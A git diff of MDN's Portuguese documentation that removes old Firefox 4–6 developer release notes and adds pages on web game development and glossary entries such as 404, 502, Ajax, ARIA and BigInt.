diff --git a/files/pt-pt/firefox_4_para_desenvolvedores/index.html b/files/pt-pt/firefox_4_para_desenvolvedores/index.html deleted file mode 100644 index 58f32d061b..0000000000 --- a/files/pt-pt/firefox_4_para_desenvolvedores/index.html +++ /dev/null @@ -1,656 +0,0 @@ ---- -title: Firefox 4 para desenvolvedores -slug: Firefox_4_para_desenvolvedores -tags: - - CSS - - Firefox - - Firefox 4 - - Gecko - - Gecko 2.0 - - HTML - - JavaScript - - XPCOM - - XUL -translation_of: Mozilla/Firefox/Releases/4 ---- -
- -
-

Esboço
- Esta página está incompleta.

- -
- -

O Firefox 4, o qual entrou em beta no mês de junho de 2010, melhora a performance, adiciona maior suporte ao HTML5 e outras tecnologias web envolvidas e, além disso, melhora a segurança. Este artigo proporciona informações iniciais sobre o lançamento que virá e quais funcionalidades estão disponíveis, tanto para desenvolvedores web, quanto para desenvolvedores de complementos e desenvolvedores da plataforma Gecko.

- -

Muitas destas funcionalidades já podem ser testadas na versão Firefox 4 beta, ou, se estiver se sentindo aventureiro, em nightly trunk builds.

- -
Observação: Este artigo é um trabalho em progresso, assim como todos os artigos linkados nesta página. Muitos nomes de artigos são espaços reservadis e alguns tópicos provavelmente serão quebrados em múltiplos artigos. Em geral, seja cuidadoso ao vincular páginas a estes artigos, por enquantoIn general, be cautious about linking to these articles for the time beingJavas.
- -

Funcionalidades para desenvolvedores web

- -

O Gecko agora usa o analisador HTML5 (parser HTML5), que corrige bugs, melhora a interoperabilidade e melhora a performance. Ele também permite conteúdos de SVG e MathML embutidos diretamente na marcação HTML.

- -

HTML

- -
-
Conheça o parser HTML5
-
Uma olhada no que o analisador HTML5 (parser HTML5) significa para você e como incorporar SVG e MathML ao seu conteúdo.
-
Forms no HTML5
-
Uma olhada às melhorias aos web forms no HTML5. Entre estas mudanças foram adicionados tipos de entrada no elemento <input> e validação de dados, dentre outros.
-
Seções HTML5
-
O Gecko agora suporta os novos elementos HTML5 relacionados a seções em um um documento: <article>, <section>, <nav>, <aside>, <hgroup>, <header> e <footer>.
-
Outros elementos HTML5
-
O Gecko agora suporta os seguintes elementos do HTML5: <mark>, <figure><figcaption>.
-
WebSockets
-
Um guia para usar a nova API de WebSockets para comunicação em tempo real entre uma aplicação web e um servidor.
-
- -

Modificações HTML diversas

- - - -

CSS

- -
-
Transições CSS (CSS transitions)
-
O suporte à novas transições CSS está disponível no Firefox 4.
-
Valores calculados em CSS
-
Foi adicionado o suporte para -moz-calc. Isto permite especificar valores <length> como expressões matemáticas.
-
Seletor de agrupamento
-
Suporte a :-moz-any para agrupar seletores e fatorizar combinadores.
-
Suporte a sub-retângulo em imagens de fundo
-
A função -moz-image-rect torna possível o uso de subretângulos de imagens como uma background-image (imagem de plano de fundo).
-
Propriedades de toque CSS
-
O suporte para propriedades de toque foi adicionado. Detalhes e nomes de artigos reais, virão depois.
-
Using arbitrary elements as CSS backgrounds
-
Você pode usar a função -moz-element do CSS e a função document.mozSetImageElement() do DOM para usar elementos HTML arbitrários como planos de fundos.
-
Privacidade e o seletor :visited
-
Mudanças foram feitas ao tipo de informação que pode ser obtida sobre o estilo dos links visitados usando seletores CSS. Isto pode afetas algumas aplicações web.
-
- -

Novas propriedades do CSS

- - - - - - - - - - - - - - - - - - - - -
PropriedadeDescrição
-moz-font-feature-settingsPermite características avançadas de customização em fontes OpenType.
-moz-tab-sizeEspecifica a largura em caracteres de espaço, de um caracter tab (U+0009) na renderização de texto.
resizePermite o controle das dimensões nas quais um elemento pode ser redimensionado.
- -

Novas pseudo-classes do CSS

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pseudo-classeDescrição
:-moz-handler-crashedUsado para estilizar elementos cujos plugins tenham quebrado.
:-moz-placeholderAplicado ao espaço reservado de texto nos campos de formulário.
:-moz-submit-invalidAplicado ao botão de submeter em formulários quando um ou mais dos campos do formulário não é validado.
:-moz-window-inactiveAplicado a elementos em janelas inativas.
:invalidAplicado automaticamente para os campos <input> quando suas constantes são inválidas.
:optionalAplicado automaticamente para os campos <input> que não especifiquem o atributo required.
:requiredAplicado automaticamente para os campos <input> que especifiquem o atributo required.
:validAplicado automaticamente para os campos <input> quando suas constantes são validadas com sucesso.
- -

Novos pseudo-seletores do CSS

- - - - - - - - - - - - -
Pseudo-seletorDescrição
:-moz-focusringPermite especificar a aparência de um elemento quando o Gecko acredita que ele deve ter uma indicação de foco renderizada.
- -

Novas funções do CSS

- - - - - - - - - - - - - - - - - - - - - - - - -
FunçãoDescrição
:-moz-anyPermite agrupar seletores e fatorizar combinações.
-moz-calcPermite a especificação de valores <length> como expressões matemáticas.
-moz-elementPermite o uso de um elemento arbitrário como imagem de fundo para background-image e background.
-moz-image-rectPermite o uso de um sub-retângulo de uma imagem como um background-image ou background.
- -

Propriedades do CSS renomeadas

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Old NameNew NameNotes
-moz-background-sizebackground-sizeO nome -moz-background-size não é mais suportado.
-moz-border-radiusborder-radiusO antigo nome é suportado por tempo limitado para permitir a atualização de seus sites. Mudanças de renderização também foram feitas para conseguir a compatibilidade com a última versão.
-moz-box-shadowbox-shadow
- -

Modificações CSS diversas

- - - -

Modificações CSS diversas

- - - -

Gráficos e vídeo

- -
-
-
WebGL
-
O padrão de desenvolvimento WebGL é agora suportado pelo Firefox.
-
Otimização da performance gráfica
-
Dicas e truques para conseguir a melhor performance gráfica e de vídeo no Firefox 4.
-
Suporte a vídeos WebM
-
O novo formato aberto de vídeo WebM é suportado pelo Gecko 2.0; o suporte está incluído em nightlies desde 9 de junho.
-
Animação SVG com SMIL
-
O suporte a animações SMIL do SVG está agora disponível.
-
Usando SVG como imagens e como fundos de tela CSS
-
Você pode agora usar o SVG com o elemento <img>, assim como com a propriedade background-image do CSS.
-
Suporte ao atributo de mídia buffered
-
O atributo buffered nos elementos <video> e <audio> é agora suportado, permitindo a determinação de quais faixas de um arquivo de mídia foram carregadas. A interface TimeRanges do DOM foi implementada para suportar isto.
-
Atributo de mídia preload
-
O atributo preload da especificação do HTML5 foi implementado, substituindo o atributo anteriormente implementado (e não mais suportado) autobuffer. Isto afeta os elementos <video> e <audio>, assim como a interface nsIDOMHTMLMediaElement.
-
Melhoramentos no posicionamento de texto SVG
-
Agora é possível especificar listas para os valores das propriedades x, y, dx e dy nos elementos <text> e <tspan> do SVG. Isto permite controlar o posicionamento de cada caractere individualmente em uma string.
-
- -

DOM

- -
-
Arrays com tipos JavaScript
-
Foi adicionado suporte para os arrays com tipos JavaScript; eles permitem a manipulação de buffers contendo dados em raw usando tipos de dados nativos. Muitas API fazem uso disto, incluindo File API, WebGL, e WebSockets.
-
Obtenção de limites de retângulos para ranges
-
O objeto Range agora possui os métodos range.getClientRects() e range.getBoundingClientRect().
-
Captura de eventos de mouse em elementos arbitrários
-
O suporte para as APIs setCapture() e releaseCapture() originadas do Internet Explorer foram adicionadas. Veja bug 503943.
-
Manipulação do histórico do navegador
-
O objeto de histórico de documento existente, disponível através do objeto window.history agora suporta os novos métodos pushState() e replaceState() do HTML5.
-
Animações usando o MozBeforePaint
-
Um novo evento foi adicionado, o qual combinado com o método window.mozRequestAnimationFrame() e a propriedade window.mozAnimationStartTime, proporciona uma maneira de criar animações sincronizadas uma com a outra.
-
Eventos de toque e multi-toque
-
Foi adicionado suporte ao evetos de toque e multi-toque.
-
-
- -

A interface DOM dos elementos HTML mudou

- -

Muitos elementos do HTML tiveram suas interfaces DOM mudadas para aquelas requisitadas pela especificação do HTML5, como mostrado abaixo.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Interface no Firefox 3.6Interface no Firefox 4Elemento HTML
HTMLSpanElementHTMLElement<abbr>, <acronym>, <address>, <b>, <bdo>, <big>, <blink>, <center>, <cite>, <code>, <dd>, <dfn>, <dt>, <em>, <i>, <kbd>, <listing>, <nobr>, <plaintext>, <s>, <samp>, <small>, <strike>, <strong>, <sub>, <sup>, , <tt>, <u>, <var>, <xmp>
HTMLDivElementHTMLElement<noembed>, <noframes>, <noscript>
HTMLWBRElementHTMLElement<wbr>
- -

Modificações DOM diversas

- - - -

Segurança

- -
-
- -
-
Política de Segurança de Conteúdo (CSP)
-
A Política de Segurança de Conteúdo (Content Security Policy - CSP) é uma proposta da Mozilla desenvolvida para ajudar web designers e administradores de servidores a especificar como o conteúdo em seus sites interage. A meta é ajudar a detectar e abrandar ataques, incluindo cross-site scripting e ataques de injeção de dados.
-
Segurança de Transporte do HTTP Estrito (HTTP Strict Transport Security)
-
A Segurança de Transporte de HTTP Estrito é uma característica que permite a um website dizer ao navegador que ele deve ser comunicado somente usando HTTPS, ao invés de HTTP.
-
O cabeçalho de resposta (The X-FRAME-OPTIONS response header)
-
O cabeçalho de resposta HTTP, X-FRAME-OPTIONS, introduzido no Internet Explorer 8 é agora suportado pelo Firefox. Isto permite a sites indicar quando suas páginas devem ou não ser usadas em quadros (frames), e, em caso afirmativo, se deve ou não restringir isto à mesma origem.
-
Mudanças na string de Agente de Usuário (User Agent string) changes
-
Como um meio para reduzir a quantidade de dados e entropia descartada em requisições HTTP (veja bug 572650) a força da criptografia e tokens de linguagem foram removidos pela string do agente de usuário.
-
- -

JavaScript

- -

Para uma visão geral das mudanças implementadas em JavaScript 1.8.5, veja Novidades no JavaScript 1.8.5. O JavaScript no Firefox 4 terá aderência adicional ao padrão ECMAScript 5.

- -

Ferramentas para desenvolvedores

- -
-
Usando o Web Console
-
A ferramenta Web Console é um depurador útil para ajudar desenvolvedores web, assim como, desenvolvedores de extensões.
-
- -
-
-Gecko 2.0 note -
(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)
-
- -

O Console de Erros está inicialmente desabilitado por padrão no Firefox 4. Você pode reabilitá-lo mudando a preferência devtools.errorconsole.enabled para true e reiniciando seu navegador.

-
- -

Mudanças para desenvolvedores Mozilla e de complementos

- -

Para dicas úteis sobre a atualização de extensões existentes para o Firefox 4, veja Atualizando extensões para o Firefox 4. Existem muitas mudanças de chaves que quebram a compatibilidade com complementos existentes, então certifique-se de ler este artigo.

- -

Se você é um desenvolvedor de temas, você deve ler Mudanças nos temas do Firefox 4 (en) para entender algumas mudanças críticas, às quais é necessário estar ciente.

- -

Módulos de codificação JavaScript

- -
-
Services.jsm
-
O módulo de código Services.jsm fornece "getters" que tornam mais fácil a obtenção de referências a serviços comumente usados, como o serviço de preferências ou o mediador de janelas, entre outros.
-
- -
-
JS-ctypes API
-
A API JS-ctypes torna possível chamar funções de fora da biblioteca compatível com C, sem precisar usar o XPCOM.
-
Gerenciador de Complementos
-
O Gerenciador de Complementos fornece informações sobre complementos instalados, suporte à gerência dos mesmos e fornece maneiras para instalar e remover complementos.
-
PopupNotifications.jsm
-
O novo módulo de notificações popup torna fácil apresentar notificações atrativas, não modais para o usuário. Você pode ver como usar esta API em Usando notificações de popup (en).
-
Carregando módulos de código a partir de URL chrome: (en)
-
Você pode agora carregar módulos JavaScript usando URL chrome:, mesmo dentro de arquivos JAR.
-
DownloadLastDir.jsm
-
O módulo de código DownloadLastDir.jsm fornece a variável global, a qual contém uma string que pode ser usada para aprender o caminho do diretório no qual ocorreu o último download. Este módulo lida com questões relacionadas a privacidade de navegação do usuário.
-
Medindo a performance usando o módulo de código PerfMeasurement.jsm (en)
-
O módulo de código PerfMeasurement.jsm proporciona uma API para mensurar a performance dos dados a nível de CPU no código JavaScript.
-
- -

Mudanças diversas aos módulos de código

- - - -

Mudanças no DOM

- -
-
- -
-
ChromeWorker
-
Um novo tipo de worker para código privilegiado; ele permite o uso de coisas como js-ctypes de workers em extensões e código de aplicações.
-
Eventos de toque
-
Suporte para eventos de toque (não padrões) foi adicionado; isto permite detectar o movimento de múltiplos dedos movendo-se em uma tela ao mesmo tempo.
-
- -

XUL

- -

Mudanças no elemento tabbrowser

- -

Várias mudanças foram feitas ao elemento <xul:tabbrowser> que causam impactos nas extensões que interagem com as abas. Adicionalmente para suportar abas aplicativos, estas mudanças também mudam a barra de abas para uma barra de ferramentas padrão, a qual permite que o usário arraste botões da barra de ferramentas para ela.

- - - -

Mudanças para popups

- - - -

Suporte remoto ao XUL removido

- -

XUL remoto não é mais suportado; isto afeta os documentos XUL servidos através de HTTP; além disso, não é mais possível carregar documentos XUL usando URLs file:// a menos que você configure a preferência dom.allowXULXBL_for_file para true. Há, entretanto, um recurso de whitelist que pode ser usado para permitir domínios específicos a carregarem o XUL remotamente. O Remote XUL Manager extension permite o gerenciamento desta whitelist.

- -

Mudanças diversas no XUL

- - - -

Mudanças na IU que afetam os desenvolvedores

- -
-
A barra de complementos
-
O estado da barra foi removido em favor de uma nova barra de complementos. Será necessário atualizar sua extensão para usar isto se você já adicionou a IU à barra de estado no passado.
-
- -

Armazenamento

- -

Mudanças diversas na API storage (de armazenamento)

- - - -

XPCOM

- -

Em adição à mudanças específicas referenciadas abaixo, é importante notar que não existem mais interfaces estáticas. Todas as interfaces são dinâmicas, independente do que a documentação pode dizer. Atualizaremos a documentação com o tempo.

- -
-
Mudanças no XPCOM no Gecko 2.0
-
Detalhes sobre as mudanças para o XPCOM que causam algum impacto na compatibilidade do Firefox 4.
-
Components.utils.getGlobalForObject()
-
Este novo método retorna o objeto global com o qual um objeto é associado; ele substitui um caso de uso comum do agora removido __parent__.
-
- -

Places

- - - -

Mudanças na interface

- - - -

Gerenciamento de memória

- -
-
Alocação de memória infalível
-
A Mozilla, agora proporciona alocadores de memória infalíveis que são garantem que não haverá um retorno null. Você deve ler este artigo para aprender como eles trabalham e como solicitar explicitamente a alocação de memória falível versus invalível.
-
- -

Outras mudanças

- - - -

Outras mudanças

- -
-
Somente o arquivo chrome.manifest raiz é carregado
-
Agora somente o arquivo chrome.manifest raiz é carregado; se você necessitar de um arquivo de manifesto secundário para ser carregado, você pode usar o comando manifest no seu  chrome.manifest raiz para carregá-lo.
-
Removido o suporte ao Gopher
-
O protocolo Gopher não é mais suportado nativamente. O suporte continuado está disponível pela extensão OverbiteFF.
-
Processamento de eventos de manipulação de conteúdo
-
Com o objetivo de suportar plugins fora do processo e outra características de multi processamento, uma nova API foi introduzida para suportar o envio de mensagens através de processos.
-
- -
-
Extensões Bootstrapped (en)
-
Agora é possível criar extensões que podem ser instaladas, desinstaladas e atualizadas (ou desatualizadas) sem a necessidade de reiniciar o navegador.
-
- -
-
Plugin padrão removido
-
O plugin padrão foi removido. A pasta de aplicações plugin também foi removida por padrão, entretanto o suporte para a instalação de plugins através desta pasta ainda existe. Veja bug 533891.
-
Gerenciador de Extensões substituido pelo Gerenciador de Complementos
-
O nsIExtensionManager  foi substituido pelo Gerenciador de Complementos (en).
-
Os filhos HWND não são mais usados
-
O Firefox não cria mais filhos HWND para seu uso interno no Windows. Se você escreveu uma extensão que usa código nativo para manipular estas HWND, a sua extensão não funcionará no Firefox 4. Você precisará ou parar de usar HWND ou empacotar seu código dependente de HWND em um plugin NPAPI. Isto dará um grande trabalho, então se for possível não fazer uso do HWND diretamente, é recomendado evitá-lo.
-
Mudanças nos gestos
-
A rolagem com três dedos para cima ou para baixo em trackpads foi alterada para, por padrão, abrir e fechar a visão do Firefox Panorama (criado como TabCandy). Para voltar aos comando anteriores de rolagem para cima e para baixo, abra about:config e configure browser.gesture.swipe.down para cmd_scrollBottom e browser.gesture.swipe.up para cmd_scrollTop.
-
- -

Veja também

- - diff --git a/files/pt-pt/firefox_5_para_desenvolvedores/index.html b/files/pt-pt/firefox_5_para_desenvolvedores/index.html deleted file mode 100644 index e69e9e6257..0000000000 --- a/files/pt-pt/firefox_5_para_desenvolvedores/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Firefox 5 para desenvolvedores -slug: Firefox_5_para_desenvolvedores -translation_of: Mozilla/Firefox/Releases/5 ---- -
{{FirefoxSidebar}}

{{ draft() }}

-

O Firefox 5, é baseado no Gecko 5.0 e será lançado na metade de 2011. Este artigo proporciona links para informações sobre as mudanças que afetam os desenvolvedores nesta versão. Os nightly builds do futuro Firefox 5 estão disponíveis atualmente no canal Beta (iesto é, na seção mozilla-beta).

-
- Nota: Devido à maneira de funcionamento do processo de desenvolvimento, é possível que características atualmente listadas aqui possam ser transferidas para versões futuras do Firefox, por este motivo, por favor, fique atento a esta página.
-

Mudanças para desenvolvedores

-

HTML

- -

Melhorias no Canvas

- -

CSS

-
-
- CSS animations
-
- Foi adicionado o suporte para animações CSS, por enquanto com o uso do prefixo -moz-.
-
-

DOM

- -

JavaScript

- -

SVG

- -

HTTP

- -

MathML

- -

Ferramentas para desenvolvedores

- -

Mudanças para desenvolvedores de complementos e da Mozilla

-
- Nota: O Firefox 5 requere que componentes bionários sejam recompilados, assim como todas as versões maiores do Firefox. Veja Interfaces Binárias para detalhes.
-

Mudanças nos módulos de código do JavaScript

-

Novos módulos de códigos JavaScript

- -

NetUtil.jsm

- -

Mudanças na interface

- -

Ferramentas de depuração

- -

API JavaScript (SpiderMonkey)

- -

Mudanças no sistema de construção

- -

Veja também

- -

{{ languages( { "en": "en/Firefox_5_for developers"} ) }}

diff --git a/files/pt-pt/firefox_6_para_desenvolvedores/index.html b/files/pt-pt/firefox_6_para_desenvolvedores/index.html deleted file mode 100644 index d7c93cc7e1..0000000000 --- a/files/pt-pt/firefox_6_para_desenvolvedores/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Firefox 6 para programadores -slug: Firefox_6_para_desenvolvedores -translation_of: Mozilla/Firefox/Releases/6 ---- -
- -

O Firefox 6, baseado no Gecko 6.0, será lançado no dia 16 de agosto de 2011. Este artigo fornece hiperligações para a informação acerca das alterações que afetam os programadores neste lançamento.

- -

Alterações para os programadores da Web

- -

HTML

- -
-
- - - -

CSS

- -
-
-moz-text-decoration-color
-
Esta nova propriedade permite configurar a cor usada em decorações de texto, tais como sublinhados, sobrelinhados e rasurados.
-
-moz-text-decoration-line
-
Esta nova propriedade permite configurar o tipo de decoração de texto adicionado a um elemento.
-
-moz-text-decoration-style
-
Esta nova propriedade permite configurar o estilo das decorações de texto, tais como sublinhado, sobrelinhado e rasurado. Os estilos incluem simples tracejado, tracejado duplo, linha ondulada, linha pontilhada e assim por diante.
-
-moz-hyphens
-
Esta nova propriedade permite controlar como é tratada a hifenização das palavras quando ocorre uma quebra de linha.
-
-moz-orient
-
Uma nova propriedade (atualmente específica da Mozilla) a qual permite controlar a orientação: vertical ou horizontal, de certos elementos (particularmente <progress>).
-
::-moz-progress-bar
-
A Mozilla-specific pseudo-element that lets you style the area of an <progress> element representing the completed portion of a task.
-
- -

Outras alterações

- - - -

DOM

- -
-
Utilizar pedidos de multimédia do código (en)
-
Agora é possível testar o resultado de uma sequência de consulta de mídia programaticamente usando o método window.matchMedia() e a interface MediaQueryList.
-
- - - -

JavaScript

- - - -

SVG

- - - -

HTTP

- - - -

Cookies

- - - -

Outras alterações

- - - -

Alterações para os programadores de extras e da Mozilla

- -
Nota: o Firefox 6 necessita que os componentes binários sejam recompilados, assim como todos os lançamentos maiores do Firefox. Veja Interfaces Binárias (en) para detalhes.
- -

Módulos de código JavaScript

- -

FileUtils.jsm

- - - -

XPCOMUtils.jsm

- - - -

XPCOM

- - - -

Usando o DOM do chrome

- -
-
Using the DOM File API in chrome code
-
Embora sempre tenha sido possível utilizar a API File do DOM do código chrome, o construtor File agora suporta a especificação de uma string de nome de caminho local quando usada através do chrome. Adicionalmente, você também pode especificar o arquivo para acessar usando a API File do DOM usando um objeto nsIFile.
-
- -

Alterações da interface

- - - -

Novas interfaces

- - - -

Interfaces removidas

- - - -

Veja também

- - - -

Outras alterações

- -
-
Using preferences from application code
-
A new static API is available for easily accessing preferences; this is only available to application code and can't be used by add-ons.
-
- -

Consultar também

- -
diff --git a/files/pt-pt/games/index.html b/files/pt-pt/games/index.html new file mode 100644 index 0000000000..b7058ec932 --- /dev/null +++ b/files/pt-pt/games/index.html @@ -0,0 +1,90 @@ +--- +title: Desenvolvimento de Jogos +slug: Jogos +translation_of: Games +--- +
{{GamesSidebar}}
+ +
+

Gaming é uma das áreas mais populares das tecnologias computacionais. Novas ferramentas estão aparecendo constantemente, permitindo o desenvolvimento de jogos cada vez mais poderosos e eficientes, que podem ser executados em qualquer navegador que esteja dentro dos padrões da Web.

+
+ +
{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}
+ +
+
+

Develop web games

+ +

Welcome to the MDN game development center! In this area of the site we provide resources for web developers wanting to develop games. You will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore.

+ +

We've also included a reference section so you can easily find information about all the most common APIs used in game development.

+ +
Note: Creating games on the web draws on a number of core web technologies such as HTML, CSS, and JavaScript. The Learning Area is a good place to go to get started with the basics.
+
+ +
+

Port native games to the Web

+ +

If you are a native developer (for example writing games in C++), and you are interested in how you can port your games over to the Web, you should learn more about our Emscripten tool — this is an LLVM to JavaScript compiler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into asm.js, which can be run on the Web.

+ +

To get started, see:

+ + +
+
+ +
+
+

Examples

+ +

For a list of web game examples, see our examples page. Also check out games.mozilla.org for more useful resources!

+
+
+ +

See also

+ +
+
+
+
Build New Games
+
A collaborative site featuring a large number of open web game development tutorials. Has not been very active recently, but still holds some nice resources.
+
Creative JS
+
A collection of impressive JavaScript techniques and experiments, not specific to games, but helpful nonetheless. Has not been very active recently, but still holds some nice resources.
+
Game programming patterns
+
An online book, written by Bob Nystrom, which discusses programming patterns in the context of game development with the aim of helping game developers produce more effective and efficient code.
+
Gamedev.js Weekly
+
Weekly newsletter about HTML5 game development, sent every Friday. Contains the latest articles, tutorials, tools and resources.
+
HTML5 Game Devs Forum
+
Forums for developers, framework creators and publishers. Ask questions, get feedback and help others.
+
+
+ +
+
+
HTML5 Game Engine
+
List of the most popular HTML5 game frameworks along with their rating, features and samples.
+
JSBreakouts
+
Compare JavaScript Breakout clones in different frameworks to help you choose the right one for you.
+
Tuts+ Game Development
+
Tutorials and articles about game development in general.
+
HTML5 Gamedev Starter
+
Starter for the new game developers, a curated list of links to various, useful resources around the web.
+
js13kGames
+
JavaScript coding competition for HTML5 game developers with the file size limit set to 13 kilobytes. All the submitted games are available in a readable form on GitHub.
+
Mozilla Hacks blog
+
Games category on the Mozilla Hacks blog containing interesting gamedev related articles.
+
Visual TypeScript game engine
+
TypeScript project based on matter.ts implementation.
+
+
+
+ +

See also

+ + diff --git a/files/pt-pt/games/tutorials/index.html b/files/pt-pt/games/tutorials/index.html new file mode 100644 index 0000000000..55417d7bdc --- /dev/null +++ b/files/pt-pt/games/tutorials/index.html @@ -0,0 +1,25 @@ +--- +title: Tutoriais +slug: Jogos/Tutoriais +tags: + - Canvas + - JavaScript + - Jogos + - Ritmos de Trabalho + - Web +translation_of: Games/Tutorials +--- +
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

This page contains multiple tutorial series that highlight different workflows for effectively creating different types of web games.

+ +
+
2D breakout game using pure JavaScript
+
In this step-by-step tutorial you'll implement a simple breakout clone using pure JavaScript. Along the way you will learn the basics of using the {{htmlelement("canvas")}} element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
+
2D breakout game using Phaser
+
In this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using thePhaser HTML5 game framework. This idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.
+
2D maze game with device orientation
+
This tutorial shows how to create a 2D maze game using HTML5, incorporating fundamentals such as collision detection and sprite placement on a {{htmlelement("canvas")}}. This is a mobile game that uses the Device Orientation and Vibration APIs to enhance the gameplay and is built using the Phaser framework.
+
2D platform game with Phaser
+
This tutorial series shows how to create a simple platform game using Phaser, covering fundamentals such as sprites, collisions, physics, collectables, and more.
+
diff --git a/files/pt-pt/glossary/404/index.html b/files/pt-pt/glossary/404/index.html new file mode 100644 index 0000000000..f1e0f934dc --- /dev/null +++ b/files/pt-pt/glossary/404/index.html @@ -0,0 +1,18 @@ +--- +title: '404' +slug: Glossário/404 +tags: + - Erros HTTP + - Glossário + - Infraestrutura + - Navegação +translation_of: Glossary/404 +--- +

O 404 é um código de resposta padrão que significa que o {{Glossary("Server", "servidor")}} não consegue encontrar o recurso solicitado.

+ +

Saiba mais

+ + diff --git a/files/pt-pt/glossary/502/index.html b/files/pt-pt/glossary/502/index.html new file mode 100644 index 0000000000..3c7750028c --- /dev/null +++ b/files/pt-pt/glossary/502/index.html @@ -0,0 +1,23 @@ +--- +title: '502' +slug: Glossário/502 +tags: + - '502' + - Bad Gateway + - Errors HTTP + - Glossário + - Infraestrutura + - Navegação +translation_of: Glossary/502 +--- +

Um erro {{Glossary("HTTP")}} significando "Bad Gateway".

+ +

Um {{Glossary("Server", "servidor")}} pode agir como um gateway ou proxy (intermediário) entre um cliente (como o seu navegador da Web) e outro, servidor a montante. Quando  faz um pedido de acesso a uma {{Glossary("URL")}}, um servidor gateway pode transmitir o teu pedido ao servidor a montante. "502" significa que o servidor a montante devolveu uma resposta invalida.

+ +

Tipicamente o servidor a montante não estará avariado (i.e. não devolve resposta ao  gateway / proxy), mas meramente não entende o protocolo de troca de dados da mesma forma que o servidor gateway / proxy. {{Glossary("Protocol", "Protocolos")}} da internet são bastante explícitos, e então um 502 deve ser sinal que um ou ambos os servidores estão incorretamente programados.

+ +

Aprenda mais

+ + diff --git a/files/pt-pt/glossary/accessibility/index.html b/files/pt-pt/glossary/accessibility/index.html new file mode 100644 index 0000000000..6f8338d718 --- /dev/null +++ b/files/pt-pt/glossary/accessibility/index.html @@ -0,0 +1,32 @@ +--- +title: Acessibilidade +slug: Glossário/Acessibilidade +tags: + - Acessibilidade + - Glossário +translation_of: Glossary/Accessibility +--- +

A Acessibilidade da Web (A11Y)refere-se às melhores práticas para manter um site da Web utilizável, apesar das restrições físicas e técnicas. A acessibilidade da Web é formalmente definida e discutida no {{Glossary("W3C")}} através de {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).

+ +

Saber mais

+ +

Conhecimento geral

+ + + +

Aprender sobre a acessibilidade da Web

+ + + +

Referência técnica

+ + diff --git a/files/pt-pt/glossary/ajax/index.html b/files/pt-pt/glossary/ajax/index.html new file mode 100644 index 0000000000..3dde7c92c4 --- /dev/null +++ b/files/pt-pt/glossary/ajax/index.html @@ -0,0 +1,34 @@ +--- +title: Ajax +slug: Glossário/AJAX +tags: + - AJAX + - CodingScripting + - Glossário + - 'I10n:priority' + - Infraestrutura +translation_of: Glossary/AJAX +--- +

Ajax, que inicialmente significava Asynchronous JavaScript And XML (em português {{Glossary("JavaScript")}} e {{Glossary("XML")}} Assíncrono), é uma prática de programação de construção de páginas web complexas e dinâmicas utilizando uma tecnologia conhecida como {{Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest")}}.

+ +

Ajax permite actualizar partes do {{Glossary("DOM")}} de uma página {{Glossary("HTML")}} sem a necessidade de uma actualização completa da página. Ajax também lhe permite trabalhar de forma assíncrona, o que significa que o seu código continua a correr enquanto a parte alvo da sua página web está a tentar recarregar (em comparação a trabalhar de forma síncrona, que impede o código de executar até que essa parte da sua página seja recarregada).

+ +

Com sites interactivos e padrões web modernos, o Ajax está gradualmente a ser substituído por funções dentro de frameworks JavaScript e do {{domxref("Fetch API")}} Standard oficial.

+ + diff --git a/files/pt-pt/glossary/argument/index.html b/files/pt-pt/glossary/argument/index.html new file mode 100644 index 0000000000..0b2cecac78 --- /dev/null +++ b/files/pt-pt/glossary/argument/index.html @@ -0,0 +1,25 @@ +--- +title: Argumento +slug: Glossário/Argumento +tags: + - CodingScripting + - Glossary + - Glossário + - JavaScript +translation_of: Glossary/Argument +--- +

Um argument é um {{glossary("value","valor")}} ({{Glossary("primitive","primitivo")}} ou {{Glossary("object","objeto")}}) passado como entrada para uma {{Glossary("function","função")}}.

+ +

Saber mais

+ +

Conhecimento geral

+ + + +

Referência técnica

+ + diff --git a/files/pt-pt/glossary/aria/index.html b/files/pt-pt/glossary/aria/index.html new file mode 100644 index 0000000000..4dfa6a754d --- /dev/null +++ b/files/pt-pt/glossary/aria/index.html @@ -0,0 +1,17 @@ +--- +title: ARIA +slug: Glossário/ARIA +tags: + - Acessibilidade + - Glossário +translation_of: Glossary/ARIA +--- +

ARIA (Accessible Rich {{glossary("Internet")}} Applications) é uma especificação da {{Glossary("W3C")}} para adicionar semântica e outros metadados ao {{Glossary("HTML")}} para atender usuários de tecnologia assistiva.

+ +

Por exemplo, você pode adicionar o atributo role="alert" ao {{glossary("tag")}} {{HTMLElement("p")}} para notificar um usário com dificuldades de visão que as informações são importantes e sensíveis ao tempo (que você pode transmitir através da cor do texto).

+ +

Consulte também

+ + diff --git a/files/pt-pt/glossary/bigint/index.html b/files/pt-pt/glossary/bigint/index.html new file mode 100644 index 0000000000..44726be185 --- /dev/null +++ b/files/pt-pt/glossary/bigint/index.html @@ -0,0 +1,12 @@ +--- +title: BigInt +slug: Glossário/BigInt +tags: + - BigInt + - Formato de Precisão Arbitrária + - Glossário + - JavaScript + - Referencia +translation_of: Glossary/BigInt +--- +

Em {{Glossary("JavaScript")}}, BigInt é um tipo de dados numéricos que pode representar inteiros num {{interwiki("wikipedia", "Bignum", "formato de precisão arbitrária")}}. Em outras linguagens de programação podem existir diferentes tipos de dados numéricos, por exemplo: Inteiros, Flutuadores, Duplos, ou Bignums.

